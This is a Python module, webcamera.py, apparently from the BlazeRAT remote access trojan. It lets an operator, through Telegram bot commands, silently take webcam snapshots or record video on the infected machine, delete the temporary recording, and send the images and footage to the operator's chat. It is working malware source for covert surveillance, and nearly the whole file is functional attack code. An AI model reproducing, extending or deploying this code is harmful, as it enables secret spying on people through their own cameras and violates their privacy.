webcamera.py 4.5 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152
  1. #!/usr/bin/python3
  2. # -*- coding: utf-8 -*-
  3. # Import modules
  4. from io import BytesIO
  5. from core.logger import Log
  6. from os import path, remove
  7. from threading import Thread
  8. from tempfile import gettempdir
  9. from core.messages import services as Messages
  10. from cv2 import VideoCapture, VideoWriter, VideoWriter_fourcc,\
  11. flip, imencode # pip3 install opencv-python
  12. """
  13. Author : LimerBoy
  14. github.com/LimerBoy/BlazeRAT
  15. Notes :
  16. The file is needed
  17. to create photos and videos from the webcam
  18. """
  19. # Global variables
  20. global file, r, t, camera, output
  21. r, t, camera, output = False, None, None, None
  22. file = path.join(gettempdir(), "webcamera.avi")
  23. """ Check camera by index """
  24. def _CheckCamera(device: int = 0) -> bool:
  25. camera = VideoCapture(device)
  26. status = camera.isOpened()
  27. camera.release()
  28. return status
  29. """ Capture image """
  30. def _CaptureImage(device: int = 0) -> bytes:
  31. # Open webcamera
  32. camera = VideoCapture(device)
  33. # If failed to open camera
  34. if not camera.isOpened():
  35. return False
  36. # Capture frame
  37. for _ in range(15):
  38. _, image = camera.read()
  39. # Release camera
  40. camera.release()
  41. del(camera)
  42. # Write to memory
  43. _, buffer = imencode(".jpg", image)
  44. obj = BytesIO(buffer)
  45. return obj.getvalue()
  46. """ Capture video from camera """
  47. def _CaptureVideo(device: int = 0) -> None:
  48. # Initialize
  49. global r, camera, output, file
  50. r = True
  51. camera = VideoCapture(device)
  52. fourcc = VideoWriter_fourcc(*"XVID")
  53. output = VideoWriter(file, fourcc, 20.0, (640,480))
  54. # Capture webcam
  55. while (r and camera.isOpened()):
  56. res, frame = camera.read()
  57. if res:
  58. frame = flip(frame, 0)
  59. output.write(frame)
  60. else:
  61. break
  62. """ Asynchronously capture video from camera """
  63. def _StartAsync(device: int = 0) -> None:
  64. global r, t
  65. if r: return False
  66. try:
  67. t = Thread(target=_CaptureVideo, args=(device,))
  68. t.start()
  69. except Exception as error:
  70. print(error)
  71. r = False
  72. else:
  73. return True
  74. """ Stop webcam capture """
  75. def _Stop() -> bytes:
  76. global r, t, camera, output, file
  77. if not r: return False
  78. r = False
  79. t.join()
  80. # Release everything if job is finished
  81. camera.release()
  82. output.release()
  83. # Read file and delete
  84. content = open(file, "rb")
  85. remove(file)
  86. return content
  87. """ Handle telegram command """
  88. def Handle(callback: dict, bot) -> None:
  89. text = callback.data
  90. chatid = callback.from_user.id
  91. device = 0
  92. # Detect camera device
  93. if "_" in text:
  94. device = int(text.split('_')[-1])
  95. # Take screenshot from webcamera
  96. if "Screenshot" in text:
  97. bot.send_chat_action(chatid, "upload_photo")
  98. # Check camera
  99. if not _CheckCamera(device):
  100. return bot.send_message(chatid, Messages.webcam_failed_open % device)
  101. # Log
  102. Log(f"Webcam >> Create screenshot from device {device}", chatid)
  103. # Take picture
  104. screenshot = _CaptureImage(device)
  105. if screenshot != False:
  106. bot.send_photo(chatid,
  107. photo=screenshot,
  108. caption=Messages.webcam_screenshot_captured,
  109. )
  110. # Send error message
  111. else:
  112. bot.send_message(chatid, Messages.webcam_failed_open % device)
  113. # Start webcam recording
  114. if "Enable" in text:
  115. # Check camera
  116. if not _CheckCamera(device):
  117. return bot.send_message(chatid, Messages.webcam_failed_open % device)
  118. # Log
  119. Log(f"Webcam >> Start video recording from device {device}", chatid)
  120. # Start image recording
  121. video = _StartAsync(device)
  122. if video != False:
  123. bot.send_message(chatid, Messages.webcam_recording_started)
  124. bot.send_chat_action(chatid, "record_video")
  125. # Send error message if recording already started
  126. else:
  127. bot.send_message(chatid, Messages.webcam_recording_not_stopped)
  128. # Stop microphone recording
  129. elif "Disable" in text:
  130. # Send recorded voice message
  131. video = _Stop()
  132. if video != False:
  133. Log(f"Webcam >> Stop video recording from device {device}", chatid)
  134. bot.send_chat_action(chatid, "upload_video")
  135. bot.send_video_note(
  136. chatid, video,
  137. reply_to_message_id=callback.message.message_id,
  138. )
  139. bot.send_message(chatid, Messages.webcam_recording_stopped)
  140. # Send error message if recording not started
  141. else:
  142. bot.send_message(chatid, Messages.webcam_recording_not_started)